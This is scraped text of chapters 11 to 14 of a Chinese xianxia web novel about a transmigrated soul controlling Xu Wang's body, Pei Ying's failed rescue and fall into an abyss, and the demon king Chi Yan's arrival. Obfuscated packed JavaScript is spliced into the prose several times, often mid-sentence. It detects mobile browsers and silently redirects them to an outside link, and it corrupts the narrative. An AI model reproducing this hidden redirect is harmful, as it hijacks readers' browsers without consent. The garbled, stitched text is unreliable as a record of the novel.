他太久没有用自己的身体行动,起身欲走,一个踉跄扑倒在地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478862|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 艰难地爬起来,四肢僵硬如同木偶一般,缓慢地走到裴映身边。 裴映蜷缩在地上,双目紧闭。 许妄跪下去,轻轻拍了拍裴映的肩。 “裴映,裴映。” 裴映身上滚烫,毫无反应。 许妄知道他的灵力已经耗尽,身体此刻在修复之中,对外界的一切都不会有任何反应。 许妄感到灵魂被撕裂的痛楚。 系统在持续不断地挣扎,很快就会冲破束缚。 留给他的时间极少。 许妄上前背起裴映,走出山洞,仰头看了看月亮。 是寅时。 许妄眸光闪过惊喜,他跳上秋水剑,飞至归栖山。 后山青石上有一片湿漉漉的青苔,月光映照其上,扩散开水一样的波纹。 许妄双脚一站上去,便原地消失。 他背着裴映,进入另一处空间。 这是一处名叫流光水境的秘境,入口位置偏僻隐蔽,是他下山做任务途中偶尔发现的。 秘境很小,神奇之处在于,它的入口和出口位置始终在变,很难寻到。 许妄只知每月十五寅时,它的入口是在此处。 秘境里没有日月,不辨时间,正中央悬浮着一棵繁花古树,树下是虬结的树根和柔软的青苔。 许妄将裴映小心放在地上,立即转身离去。 踏上出口之前,他回头望了一眼。 最后再看裴映一眼,许妄想,也许以后再没机会了。 双脚踏上出口,场景变换,许妄现身于一处密林之中。 他心里的巨石总算放下。 即便系统和苏沐白再度抢走他的身体,它们也无法找到秘境的新入口。 裴映可以有更多时间休养生息。 此时此刻,许妄再也承受不住痛楚,双腿一软,跪在地上。 识海中,金色锁链构成的牢笼寸寸断裂,分崩离析,系统用刺耳的声音机械地说道:“束缚解除,强力清除程序启动。” 白色光球爆发出眩目的光晕,一股无法形容的强大力量席卷识海,许妄的神魂遭受剧烈冲击,一瞬间失去光芒,变得透明。 黑暗淹没了许妄的意识,他的身体软倒在地。 系统的绞杀还在持续,很快,许妄那透明的灵体被割成碎片,渐渐飘散,消失不见。 识海深处,仅剩下一点几不可察的尘埃在微微闪着光。 11. 第 11 章 漆黑一片的密林中,“许妄”揉着头坐起来,眼中闪着后怕和恼怒。 “系统,到底怎么回事?为什么许妄会突然出来抢走身体?”苏沐白怒气冲冲地质问。 系统一板一眼地回答:“抱歉宿主,许妄有妖的血统,神魂特殊,隐藏于识海中,我未能察觉。” 一想到许妄这段时间始终潜伏在体内,苏沐白心生恐惧,他焦急地问:“这次呢?不会又没杀死吧?” 系统道:“宿主请放心,我向主脑申请加载强力清除程序,原主定然无法存活。” 苏沐白心存怀疑,心有余悸。 但他只能相信系统。 毕竟凭他本人,更不知道该怎么搜索许妄,将他找出来抹杀。 “可恶的许妄,坏了我的好事。”苏沐白恨恨道,“这两人还真是情深意重。” 苏沐白愈发确定系统情报有误,许妄悄咪咪地藏了那么久,就因为他要杀裴映立刻冒死暴露。 谁家宿敌是这样的啊。 这一次没能成功杀死裴映,之后又要时刻提防着,想想都觉得烦躁。 苏沐白起身,拍拍衣服上的尘土,御剑赶回青云宗。 他不能离开太久,要是被重光仙尊发现,怀疑上他就麻烦了。 回到住处时,夜还静悄悄的。 不多时,远处喧嚣起来。 苏沐白装作毫不知情地赶到,看到清虚满面愁容地站在牢狱门口,看来是已经知晓裴映越狱之事了。 云隐也在场,一幅刚刚得知消息的震惊模样。 看到“许妄”,云隐目光变得意味深长。 他走过去问道:“师弟,三师兄他……没去找你吧?” 其他几位同门也围上来,担心裴映一逃出去又要找七师弟麻烦。 苏沐白摇头:“没有。” 大师兄玄明子松了口气,忽然发现什么,指着“许妄”说:“七师弟,你的脸……” “我的脸怎么了?”苏沐白不解地摸上自己的左脸,眼睛顿时睁大。 手指下的触感粗糙,不是皮肤的触感。 苏沐白大惊失色,急急地和几位师兄打过招呼就跑了。 回到住处,看到铜镜里自己的样子,苏沐白难以接受。 只见左脸的一块皮肤上,覆着淡黑色的鳞片。 那块区域面积不太大,鳞片颜色不深,是半透明的,可总归有碍观瞻。 苏沐白可不想顶着这样的脸招摇过市。 “系统,怎么会这样?鳞片为什么会突然冒出来?” 系统道:“经过摄魂铃和原主攻击,宿主魂魄与原主身体融合得不够好,控制不了原主身体的本能,会出现一部分妖类特征。” 苏沐白问:“怎么让它消下去?” 系统回答:“暂时没有办法。” 苏沐白皱眉:“那怎么行?太难看了!” 他用声望值把系统商城里有美容功效的道具全部兑换,没一件有用,气得他把那些瓶瓶罐罐狠狠摔在地上。 - 裴映越狱的消息传出去,修真界人人自危。 毕竟此时在人们的心中,裴映已经不复当年那个光风霁月的少侠,而是会嫉恨同门,痛下杀手的恶人。 更可怕的是,这个恶人还修为高深,甚至,他身上还带着陨天剑。 说不准什么时候会魔性大发,滥杀无辜。 裴映名声尽毁,这让心情不佳的苏沐白稍稍解气。 如今,裴映和“许妄”的处境就这样天上地下地颠倒过来。 裴映成了人人避之不及的魔头,“许妄”成了英雄的遗孤、被裴映迫害的小可怜,受到众人同情和爱戴。 不过,名声再好苏沐白也不愿意出门见人了。 他坚持不懈地寻找美容良方,企图在重光仙尊出关之前把脸上那块鳞片弄掉。 可惜未能成功就受到重光的召见。 苏沐白戴上面纱将眼睛以下遮住,硬着头皮来到紫极殿。 重光不悦皱眉:“为何挡着脸?” 苏沐白道:“脸上……受伤了。” “拿下来我看看。”重光命令。 苏沐白不情愿,但不敢违抗,只好慢吞吞地将面纱取下。 重光没有说话。 苏沐白心里一沉。 这下完了,这么丑的样子被重光看见,好感值肯定要下降。 “滴。”系统果然开始播报。 苏沐白心下一紧。 “恭喜宿主,重光仙尊对你的好感值上升百分之十,目前百分之七十五。” ? 苏沐白懵了,怎么还上涨了? 还一下涨了百分之十? 要知道,他努力喂猫、降妖除魔,除了第一次数值涨得多,后来都是百分之零点五,百分之一这样上涨。 没想到脸上长点蛇鳞,竟有这样的意外惊喜。 重光缓步走到苏沐白面前,手指捏着他的下巴,让他抬起脸,指尖轻轻触上鳞片。 “此前从未见你变过妖形,本尊还以为你不会化作妖的形态。” 苏沐白揣度着重光的心思,说:“禀告师叔,我会的。” “哦?”重光颇有兴味道,“变来看看。” 苏沐白控制着身体切换形态。 倏地一下,衣物落地,一条通体漆黑的蛟凭空出现于殿中。 黑蛟身长三十余丈,周身覆着坚硬的黑色鳞甲,鳞甲边缘泛着幽冷的金属光泽。 四只巨爪按在地面上,盘踞着,如同小山一般,显得以往空旷的大殿拥挤狭小。 一双金色竖瞳一眨不眨地看着重光。 重光抬起手,黑蛟的头便低下去,任由重光在他的头顶摸了摸。 “滴。”系统道,“恭喜宿主,重光仙尊对你的好感值上涨百分之五,目前百分之八十。” 苏沐白恍然大悟:“什么嘛,原来重光好这一口,早说啊。” - 一日,苏沐白同其他三名弟子一同下山除狼妖。 那狼妖见对面人多打不过,转身就跑。 四名弟子无功而返。 没想到在回去的路上,被几十只狼妖团团围住。 为首那一只说:“交出许妄,其他几个,可以放你们一条生路。” 苏沐白大惊。 冲他来的? 青云宗弟子虽修为更高,但架不住对方妖多势众。 苏沐白只得大义凛然道:“你们快走,别管我。” 那三名弟子一商量,认为留下也于事无补,说不定会没命。 他们先走,还能回去搬救兵。 便先行撤退。 苏沐白心里暗骂,一群不讲义气的东西,真把他一个人丢下了。 狼妖把苏沐白塞进乾坤袋中带走,他大喊:“你们要带我去哪?!” 为首那一只说:“当然是送你去见大王!” 大王? 苏沐白脑筋一转,难不成他们口中的大王就是妖王赤偃? 这样的话,倒也不错。 可以探探这个新攻略对象几斤几两。 不料还没见到妖王,半路上重光仙尊从天而降,杀光狼妖,将人夺了回去。 重光将苏沐白带回紫极殿。 他看着“许妄”脸上消不下去的鳞片,心中甚是满意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478863|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “外面的世界充满危险,”重光道,“先有裴映,如今又有妖族,不如你就住在我这里,没有我的陪伴,不要离开紫极殿,如何?” 苏沐白心里一喜。 裴映还活着,的确是个大隐患,他已经知道重光是个冷血动物控,掌握了他的喜好,住在一处,感情岂不是更容易升温? 重光的提议苏沐白正中下怀。 变相囚禁嘛,没什么不能接受的。 不过还是要矜持一下:“可是,如果师父和师兄他们问起……” 重光道:“就说你在闭关修炼。” 苏沐白低头,顺从道:“好,弟子谨遵师叔教诲。” 重光看着他,心头忽然没来由地失望。 他确定自己是喜欢许妄的。 不过不知为何,有时会突然失了兴致,意兴阑珊。 可几天不见,再看见许妄的脸时又会心生喜欢。 心境就这样在二者之间反复跳跃。 比如此刻。 他提出让许妄住在这里,不经过他的允许不准离开。 许妄就这样同意了。 这当然顺了重光的心意,可许妄这样顺从,他又觉得无趣。 重光看过许妄的记忆。 他三岁多成了孤儿,小时候是生活在妖界的,在那里采野果,捉鱼为生。 后来一直被妖追杀,许妄活不下去,才会去人界。 那时他脸上就如现在这般,覆着无法褪去的黑色鳞甲。 人们自然当他是怪物,拿石头扔他,驱逐他。 许妄用布遮住脸,去捡,去偷,勉强维持生命。 他流浪过一个又一个村镇,直到可以隐藏妖的特征,靠着自己的劳动,才终于能够填饱肚子。 …… 那次搜魂之后,重光就开始注意许妄。 饥寒交迫,受尽冷眼,颠沛流离。 却从来没想过放弃和堕落,像坚韧的野草一般顽强地活着。对这满是恶意的世界,也不曾产生过恨意。 多么吸引人啊。 重光想,许妄一定很热爱自由,他要反抗,驳回重光的提议,随后被强行囚禁,企图挣脱、逃离,在遭到数次镇压后终于认清现实,带着不甘和屈辱,屈服于他。 这样才有趣。 不过,看来许妄已经忘记了那些艰难困苦的过往,变得逆来顺受,不懂反抗。 重光兴味索然地起身,告诉“许妄”他将要去闭关,归期不定,让“许妄”乖乖待在此处,不要擅自离开。 - 许妄的意识渐渐苏醒。 他惊讶于自己竟然还活着。 心口护心麟在闪烁。 不是母亲的,是他自己的护心麟。 许妄有些庆幸,他现在才知晓,人妖混血的灵魂很难被消灭,只要肉身不灭,哪怕只剩下微末的灵魂碎片,也可以重新凝聚。 他没有死,但意识有长时间空白,不知时间过去多久。 一片黑暗中。 许妄又用了很久,才重新获得五感,感知到外界。 他看向周围的环境,心中不解。 苏沐白怎么会住在重光的紫极殿中。 他整日不出门,却又不是闭关修炼,甚是怠惰,只靠服用丹药增长修为。 因为苏沐白闭门不出,许妄无法知晓今夕何年。 直到一日,一名杂役弟子来发放份例,许妄才看到木牌上注的时间。 原来距离裴映逃狱那日,已经过了十年。 十年在修真界不算什么,只是,从苏沐白这里不曾听到任何有关裴映的消息。 不知裴映现下如何了。 12. 第 12 章 第12章 苏沐白在紫极殿内待了太久,逐渐按捺不住。 他是从现代社会穿来的,十年对修士来说弹指一挥间,对他来说却很漫长。 这样吃吃喝喝睡睡的日子虽然舒适惬意,时间久了也无聊。 尤其无法出门享受同门崇敬艳羡的目光,着实可惜。 更何况,重光将他囚禁起来,却不怎么理他。 动不动去闭关,一闭关就是以年为单位。 见面的时间寥寥无几,只在他变成黑蛟在池中游动的时候,好感值才会涨那么可怜的一点。 好感值停留在百分之八十九很久不动了,这样下去他的任务何时能完成? 虽说重光是个帅哥,实力强悍,很能给人安全感,可重光不爱他,再好也白搭。 这里已经得不到任何好处,苏沐白计划逃走,转而去攻略赤偃和魔尊。 重光对他现在兴致不高,应当没有时刻监视他,偷偷溜走最合适。 苏沐白将上好的丹药和法宝一股脑装入储物戒中,在一个深夜,悄无声息地来到紫极殿大门。 他已经太久没有离开这里。 啊,自由的味道。 苏沐白抬起的脚尚未落下,身后忽然传来一个幽幽的声音:“这是要去哪?” 苏沐白汗毛直竖,僵硬地转过身去。 重光仙尊站在那里,定定地看着他。 “我……今天夜色不错,我想去外面看看月亮。” “哦?是这样吗,该不会是嫌我烦了,想离开吧?”重光阴沉道。 苏沐白头皮发麻。 怎么这么倒霉,刚想跑重光就出关了,难道重光仍然没有放弃监视他? 就在这时,系统“滴”一声:“恭喜宿主,重光仙尊对你的好感值上升百分之五,目前百分之九十四。” 苏沐白满头问号。 想逃走反而涨好感值,这是什么毛病。 就想玩跑跑抓是吧? 看到重光眼中闪烁的一丝兴奋,苏沐白心里发毛。 还来不及做出任何反应,忽然,异变陡生。 紫极殿上方“轰”地一声出现一个大洞,一道黑色的修长身影,从中一跃而下! 重光眸光一凛,捞起“许妄”向后撤,瞬间闪至大殿尽头。 从虚空中一跃而出的黑色身影稳稳落地,手中握着一把缠绕着黑雾的巨型黑剑。 待那道身影站直,苏沐白惊呼出声。 裴映! 十年未见,苏沐白没想到裴映竟然还活着,并且再一次找上门来。 被白玉摄魂铃支配的阴影尤在眼前。 苏沐白恐惧到极点。 裴映这个疯子!为什么就是不肯放过他! 他又庆幸,幸而今日没逃离青云宗,否则若是没有重光在身边,他必死无疑。 重光不是讨厌裴映吗,苏沐白想,最好今日就把裴映杀了,永绝后患。 识海中,许妄见到裴映,心情激动万分。 随即又心急如焚。 快走裴映,快点离开这里,重光想要杀你! 可说再多都是徒劳。 经过系统绞杀后,许妄的灵体十分虚弱,已经没有可能再一次夺过身体主动权。 他无力地缩在识海一角,内心被歉疚填满。 今日的裴映,变得有些陌生。 他穿着以往从来不会穿的黑衣,面无血色,眸光冰冷。 整个人的气质天翻地覆。 十年过去,裴映还是没有放弃救他。 这十年,裴映是怎么过的? …… 重光讥讽地笑了笑:“我当是谁,原来是青云宗的逃犯。逍遥法外十年,怎的今日回来自投罗网?” 裴映道:“我来带走‘许妄’。” 重光冷冷道:“笑话,许妄如今是我的徒弟,岂能由着你掳走?” 裴映握着陨天,剑尖直指重光:“我不是在同你商量。” “哦?你在威胁我吗?”重光怒极反笑。 看样子裴映已经驯服陨天剑,今时今日,连他也看不透裴映的深浅。 不过,短短十年而已,重光认为裴映仍不可能是自己的对手。 今日,定要除掉这个走上邪道的逆徒,替青云宗清理门户。 “想带走许妄,倒要看看你有没有这个能耐。” 话音未落,重光化作一道光,流星般向裴映射去。 苏沐白跑到大殿一角,躲在结界里,眼花缭乱。 根本看不清两人的身影。 只见一黑一白两道光在闪来闪去,不断有灵力外溢出来,波及四周。 紫极殿用太古星核雕琢而成,坚硬无比,即便如此,也被重光和裴映打斗时外泄的灵力击破好几处大洞。 苏沐白焦虑万分,这样打下去,他也被波及到怎么办? 正要离开此处,逃到殿外,忽然一阵眩目的强光,伴随一声爆炸般的巨响,苏沐白被一股巨大的力量掀翻出去,眼前一片白茫茫,什么都看不见听不见了。 两道光化成一黑一白两道身影,落于紫极殿两端。 “咔嚓。” 布满裂纹的紫极殿,再也支撑不住,“轰”地一声坍塌碎裂。 重光被压在碎片之下,右臂断裂,口吐鲜血。 他喃喃自语:“这不可能……” 十年,短短十年,就让他一个化神境被一个元婴修士砍断一臂。 这怎么可能? 这不是真的。 裴映呢? 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478864|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是已经死了? 重光寄希望于裴映重伤致死,这样才显得他没那么可笑。 废墟中,裴映拨开碎石,拄着陨天剑站起身来。 他腹部一个剑洞正淋漓不尽地滴着血,但他无暇理会,一瘸一拐地走向一处废墟,将昏迷的“许妄”挖出来,小心放入乾坤袋中。 随后,跃上陨天剑,头也不回地离去。 此时,察觉异象的清虚率领一众长老姗姗来迟。 然而一切都已结束。 高手过招,几招之内胜负已分。 裴映离去的身影化作天边一个微小的光点。 他们只来得及将重伤的、心如死灰的重光从废墟下挖出来。 - 苏沐白呻吟一声,幽幽醒来。 在苏沐白昏迷的这段时间,许妄也陷入一片黑暗之中,丧失对外界的感知。 此时,苏沐白惊恐地发现自己不能动了,空气中飘来淡淡的甜腥味,他望向四周,身下是漆黑的焦土,周围空旷荒凉,不远处地面陡然断裂。 他身处一处悬崖边。 焦土之上,隐约显露出暗红色的血迹和金粉的痕迹。 这似乎是一个法阵,而苏沐白所在的位置,正是阵眼。 苏沐白大喊系统:“系统!裴映把我带到什么地方来了?!” 系统道:“这里是戮仙崖,宿主位于系统中未曾记载过的法阵上。” 苏沐白急道:“我动不了了,你快想想办法啊!” 系统:“我没有办法,要靠宿主自己的智慧。” “真是废物!”苏沐白大骂。 他自诩聪明,但此刻如同砧板上的鱼肉,无计可施。 这时,裴映出现了。 他的伤口没有处理,还在淅淅沥沥地流血,面色惨白如纸,眼中却闪烁着希冀的光。 寻了十年的办法,到底有没有用,今日一试便知。 苏沐白见到裴映犹如见到地狱来的恶鬼,他想大喊救命,想开口求饶,却发现自己同时被施了禁言咒,一个字也说不出来。 裴映缓缓走至阵眼之上。 血祭轮回阵有两处阵眼,“许妄”在一处,裴映立于另一处。 他手持匕首,正要划破自己的手臂之时,忽然眉头一皱。 山下传来异动。 裴映停下动作,看向虚空。 须臾之间,视线中出现一个红点,红点越来越大,变成一道赤红色的身影。 妖王赤偃从血魇戟上跃下,脸上挂着志在必得的笑容。 他身后,跟着八名妖族猛将。 戮仙山轻微摇晃着,还有数千名妖族士兵正在赶上山来。 苏沐白一眼辨认出,那一定就是赤偃。 天不亡他,赤偃来救他了! 13. 第 13 章 裴映神情凝重。 不知妖王来此何意。 人族与妖族势如水火,裴映的确杀过不少害人的恶妖,但与妖王不曾有过正面冲突。 妖王应当不至于如此兴师动众来杀他。 即便要杀他,为何这么巧,赶在这个时候。 裴映道:“妖王,你来此处,有何目的?” 赤偃抬起手,指向阵眼上的“许妄”。 “我要他。” 裴映难以置信地顺着妖王手指的方向看去。 眸光中满是不解,焦躁,绝望。 为什么? 许妄前二十年过得那般孤苦,换作这个邪祟,竟这么多人护着? 他想要除掉邪祟,救出许妄,明明是拨乱反正、顺应天道,为什么所有人都要跳出来阻止他?! 陨天剑在地面上重重地拖出深刻印痕,裴映一字一顿道:“休、想。” 赤偃哂笑:“你已是强弩之末,就不要再说这种逞强的话了。” 说罢将手一挥,八名妖将手上的蚀灵弩齐齐发射。 带着妖气的箭矢流星般射向裴映。 裴映抡起陨天剑,箭矢根本无法近他的身,在空中便纷纷碎裂。 赤偃心道,千年难遇的人族天才,果然名不虚传。 幸好他没有轻敌,带来不少人手。 在他身后,一千妖族大军已至。 成千上百道箭矢射向裴映。 若是平时,这一千妖族也不是他的对手。 可眼下,他被重光重伤在前,此时被大量妖族围攻,渐渐无力抵抗。 他身上插满箭矢,如同刺猬一般。 裴映口中不停吐出鲜血,识海中,许妄心痛难忍,恍若自己也在被凌迟。 箭矢的另一端连着锁链,裴映被禁锢住,动弹不得,赤偃准备上前,用自己的莲花业火将此人烧成灰烬。 这是赤偃杀人的习惯。 修真界的人一向难杀,若不燃成灰一把扬了,哪怕没了呼吸、挖了心脏、身首异处,都有可能再度复活。 就在此时,好不容易解开禁言咒的苏沐白开口道:“等等。我还有话对他说。” 赤偃上前,在他肩上一拍,解除定身咒,柔声道:“去吧。” 此刻裴映已是奄奄一息,苏沐白一点都不害怕,走近了,轻声道:“他已经死了,灰飞烟灭,你想救他是不可能的。” 直至此时,他才终于敢承认自己不是许妄。 裴映毫无光彩的眼中闪过一抹痛苦。 苏沐白继续道:“你没能救他,他却救过你一次。还记得吗?你逃狱的那晚,我本想杀你,可是他却出来阻止我。不过正是那一次,害死了他。” 裴映猛地抬起头来。 “你说什么?” 他逃离青云宗后失去意识,再醒来发现自己在流光水境里。当时裴映觉得十分不对劲,但不知发生了什么,只能猜测是他藏身的山洞中有流光水境入口。 可眼下,这邪祟却说是许妄救了他……怎么会…… “他本来躲得好好的,因为要救你才暴露了自己。”苏沐白意味深长,“看来他对你的感情很深啊。” 许妄救了他…… 许妄本来还好好的活着…… 难道真的是他害死了许妄吗? 裴映无法接受,痛苦道:“你在说谎,我不相信……” 苏沐白取出一样东西。 那是一块黑色鳞甲的碎片,没有实质,是幻影形态。 他道:“我说的都是实话。这就是护着他的东西,现在已成碎片,只剩下这一小块,而他本身,完全消失,一丁点都没剩下。” 识海中,许妄大喊:裴映,不要相信他!我还活着,我没有死,你没有害死我! 可是,他的声音发出的一刻便消失在识海中,一丝一毫都无法传至外界。 裴映低着头,沉默不语。 他的血滴答滴答,顺着手臂浇灌在掉落在地的陨天剑上。 苏沐白想,什么嘛。就这点反应,看来裴映对许妄的感情也没他想得那么深。 下一瞬,他的眼睛睁大。 他看到裴映的头发,以肉眼可见的速度变白。 乌黑如瀑的青丝,转瞬变得灰白。 裴映抬起头,眼中是彻骨之痛和滔天恨意。 苏沐白大惊,不由自主向后退去。 赤偃飞身上前,抓住“许妄”的后衣领将他往后一扔,扔给自己的属下。 与此同时,裴映周身魔气暴涨,随着一声爆炸般的声响,他身上的箭矢被尽数弹出,发出“咻咻”的破空声,击飞包围着他的几十个妖族。 赤偃举起血魇戟,抵挡裴映的魔气冲击,护住身后的“许妄”。 识海中,许妄亦是呆住。 这世上任何一个人堕魔他都不会惊讶,唯独不相信裴映会堕魔。 可是现在裴映却…… 都是因为他。 …… 裴映的脸上,繁复魔纹若隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478865|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若现。 从前,他降服陨天剑,但尚有一丝意志在克制着,还未入魔。 这是他最后的坚持。 然而此刻,再也无法约束魔气生长。 不同的念头在他脑海中交织缠绕,心魔肆虐—— 是他无能。 是他害死了许妄。 还不能死。 要杀了那个邪祟,为许妄报仇。 …… 赤偃手持血魇戟,迎上裴映的陨天剑。 即便裴映在此刻入魔,也于事无补。 或许裴映能杀掉他的所有属下,身受重伤的裴映仍不会是他妖王赤偃的对手。 不过是些徒劳的挣扎。 赤偃全力一击,裴映重重跌落在地。 口中吐出一口黑红的血来。 裴映感觉得到,他身体里的血快要流干。 赤偃右手向上,掌心跳跃起赤红色的火苗,一步一步向裴映走去。 前方是能将神魂都燃烧殆尽的红莲业火。 身后是摧毁一切生灵的葬神渊。 裴映拼尽全力站起,身体后仰,坠入葬神渊中。 赤偃脚步一顿。 裴映!!! 识海中,许妄大喊。 他感受到灵魂被撕裂的痛楚,灵体在那一瞬变得更淡了些。 他不在意自己是否能够活下去,此刻只希望裴映不要死于这些恶人之手。 可是苍天无眼,永远听不到他的祈求。 葬神渊中。 裴映不断下坠,手中紧紧握着一枚玉簪。 许妄死了,被他害死了。 如今,他也要死了。 真不甘心啊。 他还有很多话没来得及对许妄说。 他本来想说,许妄,你种的那棵枇杷树长得很好,结的果很甜,待明年枇杷树结果,能不能一起坐在树下品尝? 他想说,如今我也喜欢穿黑衣,这样流了血没那么明显,许妄,你也是这样想的吗? 他还想说,许妄,没有做你师父,不是你的原因。你那么好,怎么会讨厌你?都是我自己不好。 …… 葬神渊的罡风将玉簪摧毁成齑粉,从裴映手中消散。 他徒劳地伸手去抓,什么都没能抓住。 伸出的那只手上,有着无数细微的裂口,在不断渗出细密的血珠。 裴映的身体,如同那枚玉簪一样,也在逐渐被葬神渊瓦解。 直至消失不见。 14. 第 14 章 赤偃站在戮仙崖边,苏沐白想看看裴映这次死透没有,也向崖边走去。 忽地脸上一阵刺痛,他伸手一摸,有血。 葬神渊内的罡风逸散到崖边,将他的脸划破一道口子。 待苏沐白走过去的时候,看到裴映的身体模糊,虚化,笼罩着一层血雾,随即像沙子一般被罡风吹散,一点痕迹也没有留下。 这次应该死透了吧? 苏沐白心有余悸。 赤偃转头对他道:“葬神渊内没有活物,其上连鸟都飞不过去,任何人掉进去便只有一个死。放心好了,裴映已死。” 苏沐白点头。 “只是可惜陨天剑,同他一起殉了。”赤偃叹息,随即话锋一转,若有所思地看着苏沐白,问:“你不怕我?” 苏沐白回答:“您救了我,是我的恩人,我应该感谢您。” “呵,”赤偃意味不明地笑了一声,“那之前,我几次三番派人去请你,你为何要躲,要逃?” 自从那条龙死后,他就一直派人去将许妄带回来,可没想到许妄人不大,逃跑的能力倒是一流,竟逃到人界去。 人界有修士护着,他的属下不方便动手。 后来,许妄更是连踪迹都不见了。 十年前,传出龙神遗孤的消息,赤偃才知,原来那个孩子竟然拜入青云宗,成为青云宗的弟子。 怪不得遍寻不到。 得知消息后,有一次,一队狼妖差点将人带回,却被那个可恶的重光劫走。 这十年来,许妄一直缩在青云宗闭门不出,赤偃找不到机会抢人,直到今日,裴映掳走许妄,这才成功截了胡。 面对赤偃的质问,苏沐白慌张解释:“那时我并不知道是大王要见我,还以为他们是想要吃我,才会逃跑。” “罢了,”赤偃抬起“许妄”的下巴仔细端详,“你如今出落得这般大,也好。现在我邀请你去我的王宫,你可愿意?” 苏沐白揣摩不出赤偃的心思,只能小心答道:“自然是愿意的。” “滴。”系统播报,“恭喜宿主,妖王赤偃对你的好感值上涨百分之十,目前百分之六十。” 苏沐白心里一喜。 看来和偏好叛逆的重光不同,赤偃喜欢乖巧的。 去往妖界的路上,苏沐白和赤偃一同站在血魇戟上。 赤偃忽然问:“方才你同裴映所说的‘他’,是指谁?” 苏沐白脊背一僵。 他知赤偃修为高于他,传音会被探听,故而还用上了从重光那里得来的神器天听珏,以防对话内容被其他人知晓。 没想到天听珏竟然对赤偃无效。 好在他足够谨慎,没有在对话里提及许妄的名字。 苏沐白扯谎:“是裴映养的一只灵宠。” “这样吗。”赤偃轻飘飘地说。 苏沐白不知他相信没有,不过,赤偃没再继续追问,苏沐白重重松了口气。 - 苏沐白来到妖界,赤偃让他住进自己的宫殿,给他布置一间又大又豪华的房间,又安排数十名小妖供他驱使。 “今日吓坏了吧,”赤偃柔声道,“好生休息,有什么事情吹响这个,我就会出现。” 苏沐白道谢。 他握着手中的琉璃哨,对这里非常满意,除了这里的人,不,妖都长得奇形怪状,不是羊嘴便是牛角,有碍观瞻。 不过这没什么,赤偃长得英俊就行了,最重要的是,赤偃并不像系统说的那样脾气不好,阴晴不定。 至少现在看来,是个很温柔的人。 翌日。 属下虎妖向赤偃禀报:“大王,青云宗掌门带着几位长老求见。” “消息倒是灵通,”赤偃道,“让他们进来。” 清虚率众人走入妖王的大殿。 赤偃姿态随意,坐在宽大宝座上,对几人道:“几位长老,请坐。” 清虚站着不动:“坐就不必了,妖王,我此番前来,只是想带回我的徒弟许妄。” 那日重光被裴映重伤,裴映带走许妄,原以为许妄凶多吉少,没想到最后却是裴映的魂灯熄灭。 经过多方打探,才知裴映死于妖王赤偃之手,而许妄亦被赤偃带走。 清虚痛心与悔恨交加。 早知会酿成今日之祸,当初真该对裴映严加看守。 听罢清虚的话,赤偃冷笑一声。 “带走许妄?笑话。你那逆徒残杀同门,若不是我及时出手替你清理门户,许妄如今已命丧黄泉。清虚掌门既约束不好弟子,又护不了徒弟周全,竟还有脸面向我要人?” 清虚老脸一热。 赤偃话说得虽难听,可说的也是事实。 他这个师父,的确太不称职。 可赤偃诡计多端,他救下许妄,未必安的什么好心。 裴映已死,清虚不能再失去许妄这个徒弟了,否则他日有何脸面面对龙神和守拙? 清虚谦卑道:“妖王救下老朽的小徒弟,大恩大德,无以为报。只要您让我将许妄带回,青云宗藏宝阁中的宝物,可以任您挑选。” 话音一落,清虚身后的几位长老震惊出声:“掌门,这、这可使不得啊。” “当我稀罕你们那些破烂?”赤偃狂妄道,“别白费口舌了,带回许妄你们想都别想。” 清虚没想到赤偃竟将许妄看得比那么多宝物还重。 妖王到底要对许妄做什么? 清虚暗暗握紧手中拂尘,思索他对上赤偃有几分胜算。 可他今日葬身于此不打紧,身后这几位长老呢? 他不能自私地连累其他长老。 但若不动手,就这样回去,那许妄呢?就不管不顾了吗? 清虚左右为难之际,赤偃不耐烦道:“我只是请许妄来此做客,林守拙是我的救命恩人,我怎会伤害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 